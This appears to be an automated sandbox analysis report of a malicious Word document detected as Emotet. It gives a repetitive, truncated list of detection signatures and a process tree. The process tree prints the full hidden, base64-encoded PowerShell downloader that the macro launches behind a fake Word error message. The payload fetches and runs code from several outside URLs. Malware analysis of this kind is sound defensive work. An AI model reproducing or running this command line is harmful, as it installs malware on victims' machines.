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Analysis Report v22Pc0qA.doc.doc

Overview

General Information

Sample 
Name:

v22Pc0qA.doc.doc

Analysis ID: 347028

MD5: 7a7d325948481b…

SHA1: 0529727ffad8388…

SHA256: 47e4926bc53fb13…

Most interesting Screenshot:

Detection

EmotetEmotet

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince viOffice document tries to convince vi……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected EmotetYara detected Emotet

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMICreates processes via WMI

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VBDocument contains an embedded VB……

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline optionEncrypted powershell cmdline option……

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dowHides that the sample has been dow……

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

PowerShell case anomaly found

PowerShell case anomaly found

PowerShell case anomaly found

PowerShell case anomaly found

PowerShell case anomaly found

PowerShell case anomaly found

PowerShell case anomaly foundPowerShell case anomaly found

Powershell drops PE file

Powershell drops PE file

Powershell drops PE file

Powershell drops PE file

Powershell drops PE file

Powershell drops PE file

Powershell drops PE filePowershell drops PE file

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious EncodeSigma detected: Suspicious Encode……

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command lineSuspicious powershell command line……

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line foundVery long command line found

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtuaContains capabilities to detect virtua……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a dContains functionality to check if a d……

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamicallyContains functionality to dynamically……

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query localeContains functionality to query locale……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may beContains functionality which may be……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direcCreates files inside the system direc……

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VBDocument contains an embedded VB……

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA Document contains embedded VBA ……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Drops PE files to the windows direct

Drops PE files to the windows direct

Drops PE files to the windows direct

Drops PE files to the windows direct

Drops PE files to the windows direct

Drops PE files to the windows direct

Drops PE files to the windows directDrops PE files to the windows direct……

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stopFound evasive API chain (may stop……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valuMonitors certain registry keys / valu……

PE file contains an invalid checksum

PE file contains an invalid checksum

PE file contains an invalid checksum

PE file contains an invalid checksum

PE file contains an invalid checksum

PE file contains an invalid checksum

PE file contains an invalid checksumPE file contains an invalid checksum

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

WINWORD.EXE (PID: 4180 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding MD5: 0B9AB9B9C4DE429473D6450D4297A123)

cmd.exe (PID: 5632 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD         IAAk

AEMAcgBBACAAPQAgAFsAVAB5AFAARQBdACgAIgB7ADMAfQB7ADEAfQB7ADAAfQB7ADIAfQAiACAALQBGACAAJwBlAG0ALgBJAE8ALgAnACwAJwBTAHQAJwAs
ACcAZABpAHIAZQBDAHQATwByAHkAJwAsACcAcwBZACcAKQAgADsAIABTAFYAIAAgACgAIgA1AGgAdgAiACsAIgAxAHoAIgApACAAIAAoAFsAVAB5AFAARQBdACgAIgB7AD
EAfQB7ADIAfQB7ADQAfQB7ADMAfQB7ADAAfQAiAC0AZgAnAG4AQQBHAGUAUgAnACwAJwBzAFkAcwB0AEUAJwAsACcATQAuAE4AZQB0AC4AUwBlAFIAVgBpAGMAJwAsACcA
QQAnACwAJwBlAHAATwBpAE4AVABtACcAKQAgACAAKQAgADsAIAAkAEEAdgBuAG4AMAB1AGYAPQAoACgAJwBUAHkANwBuACcAKwAnADAAJwApACsAJwBzAGMA
JwApADsAJABIADIAcQA2AHEAcAB6AD0AJABVAG0AYwByAHUAZwAxACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABZAHYAawA2AGgAYwBwADsA
JABOADYANgA3AGMAbABsAD0AKAAnAFAAJwArACgAJwA0AG0AJwArACcAcwAnACkAKwAoACcAdgAnACsAJwByAHMAJwApACkAOwAgACAAKAAgACAARwBlAFQA
LQBWAGEAUgBJAGEAQgBMAEUAIAAgACgAIgBDACIAKwAiAHIAYQAiACkAIAAgACkALgBWAGEATABVAEUAOgA6ACIAYwBSAGAAZQBgAEEAdABlAGQASQByAGAA
RQBjAHQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBGACcAKwAoACcAMgBuACcAKwAnAGUAZgBxACcAKQArACcANgB7ADAAfQBQACcA
KwAoACcAcgBzACcAKwAnADIAbgBkACcAKQArACcAaAB7ADAAfQAnACkALQBGACAAWwBDAEgAYQBSAF0AOQAyACkAKQA7ACQASwAwADAAYQBhADIAYwA9ACgA
JwBXAGgAJwArACgAJwBwACcAKwAnAG8AagAnACkAKwAnAGwAbwAnACkAOwAgACAAKAAgAGcAZQBUAC0AVgBBAHIAaQBBAEIAbABlACAAKAAiADUASABWACIA
KwAiADEAegAiACkAIAApAC4AVgBhAEwAVQBFADoAOgAiAHMARQBjAFUAUgBJAHQAeQBwAFIAYABPAFQAbwBDAGAATwBMACIAIAA9ACAAKAAnAFQAJwArACgA

JwBsACcAKwAnAHMAMQAyACcAKQApADsAJABGAHoANQBkAHkAZwBzAD0AKAAnAEIAJwArACgAJwBwACcAKwAnADgAMgA1AGkAJwArACcAdgAnACkAKQA7ACQA
UQA0AGEAOABsADEANQAgAD0AIAAoACgAJwBDAGgAJwArACcAcABpAGUAJwArACcAbwAnACkAKwAnAGcAJwApADsAJABVAGEAYgA2ADgAOABvAD0AKAAnAEsA
JwArACcAeQAnACsAKAAnAGoAOAB4ACcAKwAnAG8AcQAnACkAKQA7ACQATAByADAAdwA1AGwAYQA9ACgAJwBQACcAKwAoACcAOQAnACsAJwBsAGMANwBmACcA
KQArACcAdQAnACkAOwAkAFoAcgB3AGoAaAA5AGsAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAJwArACcAfQBGADIAbgAnACsAJwBlAGYAJwArACcAcQA2AHsAMAB9AFAAcg
BzADIAJwArACcAbgBkAGgAewAwAH0AJwApAC0AZgBbAEMASABhAFIAXQA5ADIAKQArACQAUQA0AGEAOABsADEANQArACgAJwAuAGQAJwArACcAbABsACcAKQ
A7ACQATgBiAG0AeABmAHgAdgA9ACgAKAAnAEEAdwAnACsAJwBuACcAKQArACgAJwBnACcAKwAnADAAegA2ACcAKQApADsAJABWADAAXwByAGkAMABuAD0ATg
BlAHcAYAAtAG8AQgBgAGoARQBjAFQAIABuAGUAVAAuAHcAZQBiAEMATABJAGUATgB0ADsAJABOAGsAcQBfAGcAMABxAD0AKAAoACcAaAAnACsAKAAoACcAdA
B0AHAAOgAnACsAJwBKACkAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQArACgAKAAnAEoAJwArACcAKQAoADMAcwAyACcAKwAnACkAKA
BhAHIAcQAnACkAKQArACcAdQBpACcAKwAoACcAdgAnACsAJwBvAHAAbwBwAC4AYwAnACkAKwAoACcAbwAnACsAJwBtACcAKwAnAC4AYgByAEoAJwApACsAKA
AoACcAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAaQAnACkAKQArACcAbgAnACsAKAAnAGQAZQB4AF8AaAB0AG0AXw
AnACsAJwBmACcAKwAnAGkAbAAnACsAJwBlAHMASgAnACkAKwAoACgAJwApACcAKwAnACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACcAKQApACsAKA
AoACcAKABLAHgAJwArACcAaABKACcAKQApACsAKAAoACcAKQAoACcAKwAnADMAJwApACkAKwAoACgAJwBzADIAKQAoAEAAaAB0ACcAKwAnAHQAJwArACcAcA
AnACkAKQArACgAKAAnAHMAOgBKACcAKwAnACkAKAAzAHMAMgAnACkAKQArACgAKAAnACkAKABKACcAKwAnACkAJwApACkAKwAnACgAJwArACcAMwBzACcAKw
AoACgAJwAyACkAJwApACkAKwAoACgAJwAoAGMAYQBpAHIAbwBjACcAKwAnAGEAJwArACcAZAAnACkAKQArACcALgBjACcAKwAoACgAJwBvAG0AJwArACcASgApACgAJwAr
ACcAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAYwAnACkAKQArACgAJwBnAGkAJwArACcALQAnACsAJwBiAGkAbgBKACcAKQArACgAKAAnACkAKAAz
AHMAMgApACgAJwArACcAMQBQACcAKwAnAEIAJwArACcAQgAnACkAKQArACgAKAAnAEoAKQAoADMAcwAyACkAJwArACcAKAAnACkAKQArACcAQAAnACsAKAAn
AGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAJwBzACcAKwAoACgAJwA6AEoAKQAoADMAcwAyACcAKwAnACkAKABKACcAKwAnACkAKAAzACcAKQApACsAJwBz
ACcAKwAoACgAJwAyACkAKAAnACsAJwB3ACcAKQApACsAKAAnAHcAdwAuACcAKwAnAGkAJwArACcAcwBhAHQAZQBjAGgAbgBvACcAKQArACcAbAAnACsAKAAnAG8AJwArAC
cAZwB5AC4AJwApACsAKAAoACcAYwBvAG0ASgAnACsAJwApACgAMwBzACcAKwAnADIAKQAnACsAJwAoAHQAJwArACcAcgBhAGkAbgBpAG4AZwAnACsAJwBKAC
kAKAAnACsAJwAzACcAKQApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKABiAEoAJwArACcAKQAoACcAKQApACsAKAAoACcAMwBzADIAJwArACcAKQAnACkAKQArACgA
KAAnACgAQABoAHQAJwArACcAdAAnACkAKQArACcAcAAnACsAJwA6ACcAKwAoACgAJwBKACkAJwApACkAKwAnACgAJwArACcAMwAnACsAKAAoACcAcwAyACcA
KwAnACkAKAAnACkAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAMwBzACcAKwAnADIAJwApACkAKwAnACkAJwArACgAKAAnACgAaABvACcAKwAnAHQA
ZQAnACkAKQArACgAJwBsACcAKwAnAHMAaABpAHYAJwApACsAKAAnAGEAJwArACcAbgBzAGgAJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBKACkAKAAnACkA
KQArACcAMwBzACcAKwAoACgAJwAyACkAKABVAHMAJwArACcAZQByAEYAJwArACcAaQAnACkAKQArACgAJwBsACcAKwAnAGUAcwAnACkAKwAnAEoAJwArACgA
KAAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACgAJwArACcAOABKACkAJwArACcAKAAzAHMAMgApACcAKQApACsAKAAoACcA
KAAnACsAJwBAAGgAJwApACkAKwAoACgAJwB0AHQAcAA6AEoAKQAoADMAcwAyACcAKwAnACkAJwArACcAKAAnACsAJwBKACkAJwArACcAKAAzAHMAMgApACcA
KwAnACgAbwB3ACcAKwAnAG4AaQB0AGMAbwAnACkAKQArACgAJwBuAHMAJwArACcAaQAnACsAJwBnAG4AbQBlAG4AdAAuAGMAbwBtACcAKQArACgAKAAnAEoA
KQAoACcAKwAnADMAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACsAKAAnAGYAaQAnACsAJwBsACcAKwAnAGUAcwBKACcAKQArACgAKAAnACkA
JwArACcAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAKAAnACsAJwBiAEoAJwApACkAKwAnACkAJwArACgAKAAnACgAMwBzADIAKQAnACsAJwAoACcAKQApACsAKA
AnAEAAaAB0AHQAJwArACcAcABzACcAKQArACgAKAAnADoAJwArACcASgAnACsAJwApACgAMwBzADIAKQAoAEoAKQAoADMAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAo
AGIAJwArACcAMgAnACkAKQArACgAJwBiACcAKwAnAGMAbwBtAC4AYwAnACsAJwBvACcAKwAnAG0ALgBiACcAKQArACcAcgAnACsAKAAoACcASgAnACsAJwApACgAMwBzAD
IAJwApACkAKwAoACgAJwApACgAJwArACcAcwBpACcAKQApACsAKAAoACcAdABlAEoAKQAnACsAJwAoADMAJwArACcAcwAnACsAJwAyACkAKAAwAEgASgAnACkAKQArACgA
KAAnACkAKAAnACkAKQArACgAKAAnADMAcwAyACkAKABAACcAKwAnAGgAJwApACkAKwAoACgAJwB0AHQAcAA6AEoAKQAnACsAJwAoACcAKwAnADMAcwAyACcA
KQApACsAKAAoACcAKQAoACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwBzACcAKwAnADIAJwApACkAKwAoACgAJwApACcAKwAnACgAdAAnACsAJwByAGEA
bgBzACcAKwAnAGYAZQAnACkAKQArACgAJwByAHMAdQAnACsAJwB2AGEAJwApACsAKAAoACcAbgAnACsAJwAuAGMAbwBtACcAKwAnAEoAKQAnACkAKQArACgA
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bgBzACcAKwAnAGYAZQAnACkAKQArACgAJwByAHMAdQAnACsAJwB2AGEAJwApACsAKAAoACcAbgAnACsAJwAuAGMAbwBtACcAKwAnAEoAKQAnACkAKQArACgA
KAAnACgAMwBzACcAKwAnADIAKQAoAHcAcAAtAGEAJwArACcAZAAnACsAJwBtACcAKQApACsAJwBpACcAKwAoACgAJwBuACcAKwAnAEoAKQAoADMAcwAyACcA
KwAnACkAKABPACcAKwAnAFYAbAAnACkAKQArACcASgAnACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzADIAJwArACcAKQAoACcAKQApACsAJwBAACcA
KwAnAGgAdAAnACsAKAAnAHQAJwArACcAcABzADoAJwApACsAKAAoACcASgAnACsAJwApACcAKwAnACgAMwBzADIAKQAoAEoAJwApACkAKwAoACgAJwApACgA
JwArACcAMwBzACcAKQApACsAJwAyACcAKwAoACgAJwApACcAKwAnACgAcABoAHkAcwAnACkAKQArACcAaQAnACsAKAAoACcAbwAtACcAKwAnAHMAdgBkAGgALgAnACsAJw
BjAGgASgApACgAMwAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwB3AHAALQBhAGQAJwApACkAKwAoACgAJwBtAGkAbg
BKACkAKAAnACsAJwAzACcAKwAnAHMAJwArACcAMgApACgAawAnACsAJwBLAEoAKQAoADMAJwApACkAKwAnAHMAJwArACgAKAAnADIAKQAnACkAKQArACcAKA
AnACkAKQAuACIAcgBlAFAAbABgAEEAYwBFACIAKAAoACgAJwBKACcAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAMgApACcAKwAnACgAJw
ApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBTAGAAUABMAEkAVAAiACgAJA
BUAGcAMwB5AHAAdgAwACAAKwAgACQASAAyAHEANgBxAHAAegAgACsAIAAkAEEAcABqADAAdwBtAG8AKQA7ACQAQwBxAG8AdwBiADQAZAA9ACgAKAAnAFgANg
AnACsAJwB1AGgAJwApACsAKAAnADAANQAnACsAJwB5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABIAHcAcQBmAGUAbwBuACAAaQBuACAAJABOAGsAcQ
BfAGcAMABxACAAfAAgAFMATwBgAFIAYABUAC0AbwBiAGAASgBFAEMAdAAgAHsARwBlAGAAVAAtAFIAYQBgAE4ARABvAG0AfQApAHsAdAByAHkAewAkAFYAMABfAHIAaQAw
AG4ALgAiAGQAbwB3AGAATgBsAE8AYABBAEQAYABGAGkATABlACIAKAAkAEgAdwBxAGYAZQBvAG4ALAAgACQAWgByAHcAagBoADkAawApADsAJABDAHcAawAx
AG8AOABvAD0AKAAoACcAQgAnACsAJwA2AHgAMgBvACcAKQArACcAdwB0ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAn
AG0AJwApACAAJABaAHIAdwBqAGgAOQBrACkALgAiAEwAZQBuAGcAYABUAGgAIgAgAC0AZwBlACAANAA0ADAANwA3ACkAIAB7ACYAKAAnAHIAdQAnACsAJwBu
ACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFoAcgB3AGoAaAA5AGsALAAnACMAMQAnAC4AIgBUAGAAbwBzAHQAYABSAGkAbgBHACIAKAApADsAJABDAGMAcwBr
AGkAeAAwAD0AKAAnAFkAJwArACcAMwB2ACcAKwAoACcAYQAyAHQAJwArACcAZwAnACkAKQA7AGIAcgBlAGEAawA7ACQASQA3AGEAYgB6ADYAZwA9ACgAJwBM
ACcAKwAoACcAdQBoACcAKwAnAGYAbgBxAGsAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcAXwA2ADIAZgB5ADYAPQAoACcASQAnACsAJwB4AHEAJwAr
ACgAJwBmACcAKwAnADQAOQBsACcAKQApAA==  MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

msg.exe (PID: 6068 cmdline: msg user /v Word experienced an error trying to open the file.  MD5: EEB395D8DD3C1D6593903BD640687948)

powershell.exe (PID: 1320 cmdline: POwersheLL -w hidden -ENCOD         IAAkAEMAcgBBACAAPQAgAFsAVAB5AFAARQBdACgAIgB7ADMAfQB7ADEAfQB7ADAA

fQB7ADIAfQAiACAALQBGACAAJwBlAG0ALgBJAE8ALgAnACwAJwBTAHQAJwAsACcAZABpAHIAZQBDAHQATwByAHkAJwAsACcAcwBZACcAKQAgADsAIABTAFYA
IAAgACgAIgA1AGgAdgAiACsAIgAxAHoAIgApACAAIAAoAFsAVAB5AFAARQBdACgAIgB7ADEAfQB7ADIAfQB7ADQAfQB7ADMAfQB7ADAAfQAiAC0AZgAnAG4AQQBHAGUAUg
AnACwAJwBzAFkAcwB0AEUAJwAsACcATQAuAE4AZQB0AC4AUwBlAFIAVgBpAGMAJwAsACcAQQAnACwAJwBlAHAATwBpAE4AVABtACcAKQAgACAAKQAgADsAIA
AkAEEAdgBuAG4AMAB1AGYAPQAoACgAJwBUAHkANwBuACcAKwAnADAAJwApACsAJwBzAGMAJwApADsAJABIADIAcQA2AHEAcAB6AD0AJABVAG0AYwByAHUAZw
AxACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABZAHYAawA2AGgAYwBwADsAJABOADYANgA3AGMAbABsAD0AKAAnAFAAJwArACgAJwA0AG0AJw
ArACcAcwAnACkAKwAoACcAdgAnACsAJwByAHMAJwApACkAOwAgACAAKAAgACAARwBlAFQALQBWAGEAUgBJAGEAQgBMAEUAIAAgACgAIgBDACIAKwAiAHIAYQ
AiACkAIAAgACkALgBWAGEATABVAEUAOgA6ACIAYwBSAGAAZQBgAEEAdABlAGQASQByAGAARQBjAHQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJw
B7ADAAfQBGACcAKwAoACcAMgBuACcAKwAnAGUAZgBxACcAKQArACcANgB7ADAAfQBQACcAKwAoACcAcgBzACcAKwAnADIAbgBkACcAKQArACcAaAB7ADAAfQ
AnACkALQBGACAAWwBDAEgAYQBSAF0AOQAyACkAKQA7ACQASwAwADAAYQBhADIAYwA9ACgAJwBXAGgAJwArACgAJwBwACcAKwAnAG8AagAnACkAKwAnAGwAbw
AnACkAOwAgACAAKAAgAGcAZQBUAC0AVgBBAHIAaQBBAEIAbABlACAAKAAiADUASABWACIAKwAiADEAegAiACkAIAApAC4AVgBhAEwAVQBFADoAOgAiAHMARQ
BjAFUAUgBJAHQAeQBwAFIAYABPAFQAbwBDAGAATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABGAHoANQBkAHkAZw
BzAD0AKAAnAEIAJwArACgAJwBwACcAKwAnADgAMgA1AGkAJwArACcAdgAnACkAKQA7ACQAUQA0AGEAOABsADEANQAgAD0AIAAoACgAJwBDAGgAJwArACcAcA
BpAGUAJwArACcAbwAnACkAKwAnAGcAJwApADsAJABVAGEAYgA2ADgAOABvAD0AKAAnAEsAJwArACcAeQAnACsAKAAnAGoAOAB4ACcAKwAnAG8AcQAnACkAKQ
A7ACQATAByADAAdwA1AGwAYQA9ACgAJwBQACcAKwAoACcAOQAnACsAJwBsAGMANwBmACcAKQArACcAdQAnACkAOwAkAFoAcgB3AGoAaAA5AGsAPQAkAEgATw
BNAEUAKwAoACgAJwB7ADAAJwArACcAfQBGADIAbgAnACsAJwBlAGYAJwArACcAcQA2AHsAMAB9AFAAcgBzADIAJwArACcAbgBkAGgAewAwAH0AJwApAC0AZg
BbAEMASABhAFIAXQA5ADIAKQArACQAUQA0AGEAOABsADEANQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQATgBiAG0AeABmAHgAdgA9ACgAKAAnAEEAdw
AnACsAJwBuACcAKQArACgAJwBnACcAKwAnADAAegA2ACcAKQApADsAJABWADAAXwByAGkAMABuAD0ATgBlAHcAYAAtAG8AQgBgAGoARQBjAFQAIABuAGUAVA
AuAHcAZQBiAEMATABJAGUATgB0ADsAJABOAGsAcQBfAGcAMABxAD0AKAAoACcAaAAnACsAKAAoACcAdAB0AHAAOgAnACsAJwBKACkAKAAzAHMAJwApACkAKw
AoACgAJwAyACcAKwAnACkAKAAnACkAKQArACgAKAAnAEoAJwArACcAKQAoADMAcwAyACcAKwAnACkAKABhAHIAcQAnACkAKQArACcAdQBpACcAKwAoACcAdg
AnACsAJwBvAHAAbwBwAC4AYwAnACkAKwAoACcAbwAnACsAJwBtACcAKwAnAC4AYgByAEoAJwApACsAKAAoACcAKQAnACsAJwAoADMAcwAnACkAKQArACgAKA
AnADIAKQAnACkAKQArACgAKAAnACgAaQAnACkAKQArACcAbgAnACsAKAAnAGQAZQB4AF8AaAB0AG0AXwAnACsAJwBmACcAKwAnAGkAbAAnACsAJwBlAHMASg
AnACkAKwAoACgAJwApACcAKwAnACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACcAKQApACsAKAAoACcAKABLAHgAJwArACcAaABKACcAKQApACsAKA
AoACcAKQAoACcAKwAnADMAJwApACkAKwAoACgAJwBzADIAKQAoAEAAaAB0ACcAKwAnAHQAJwArACcAcAAnACkAKQArACgAKAAnAHMAOgBKACcAKwAnACkAKA
AzAHMAMgAnACkAKQArACgAKAAnACkAKABKACcAKwAnACkAJwApACkAKwAnACgAJwArACcAMwBzACcAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAGMAYQ
BpAHIAbwBjACcAKwAnAGEAJwArACcAZAAnACkAKQArACcALgBjACcAKwAoACgAJwBvAG0AJwArACcASgApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAJw
ArACcAMgApACgAYwAnACkAKQArACgAJwBnAGkAJwArACcALQAnACsAJwBiAGkAbgBKACcAKQArACgAKAAnACkAKAAzAHMAMgApACgAJwArACcAMQBQACcAKw
AnAEIAJwArACcAQgAnACkAKQArACgAKAAnAEoAKQAoADMAcwAyACkAJwArACcAKAAnACkAKQArACcAQAAnACsAKAAnAGgAJwArACcAdAB0ACcAKQArACcAcA
AnACsAJwBzACcAKwAoACgAJwA6AEoAKQAoADMAcwAyACcAKwAnACkAKABKACcAKwAnACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAKAAnACsAJw
